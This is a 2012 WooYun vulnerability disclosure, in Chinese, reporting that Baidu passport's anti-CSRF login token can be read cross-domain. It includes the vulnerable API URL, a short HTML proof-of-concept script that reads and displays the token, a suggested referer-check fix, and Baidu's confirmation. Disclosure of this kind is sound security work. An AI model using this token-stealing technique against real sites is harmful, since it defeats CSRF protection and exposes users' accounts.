当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014276

漏洞标题:度度熊passport防csrf用的token可以跨域读取

相关厂商:百度

漏洞作者: xsjswt

提交时间:2012-11-03 19:14

修复时间:2012-12-18 19:15

公开时间:2012-12-18 19:15

漏洞类型:CSRF

危害等级:低

自评Rank:2

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-03: 细节已通知厂商并且等待厂商处理中
2012-11-05: 厂商已经确认,细节仅向厂商公开
2012-11-15: 细节向核心白帽子及相关领域专家公开
2012-11-25: 细节向普通白帽子公开
2012-12-05: 细节向实习白帽子公开
2012-12-18: 细节向公众公开

简要描述:

RT
百度代码太大了,passport的rd自己都搞不清楚是不是防csrf的,暂且这样吧

详细说明:

问了下passport的rd,此处token应该是用来防csrf的,但是这个token值本身就能被跨域取道。
所以略显无语。。。。。
跨域读取token的url
https://passport.baidu.com/v2/api/?getapi&class=login&tpl=lo

<html>
<body>
<script>
var bdPass=new Object();
bdPass.api=new Object();
bdPass.api.params=new Object();
</script>
<script src="https://passport.baidu.com/v2/api/?getapi&class=login&tpl=lo">
</script>
<script>
document.write(bdPass.api.params.login_token);
alert(bdPass.api.params.login_token);
</script>
</body>
</html>

漏洞证明:

我是来骗rank的

修复方案:

判断referer

版权声明:转载请注明来源 xsjswt@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-11-05 09:55

厂商回复:

感谢xsjswt大牛,我们尽快安排修复。

最新状态:

暂无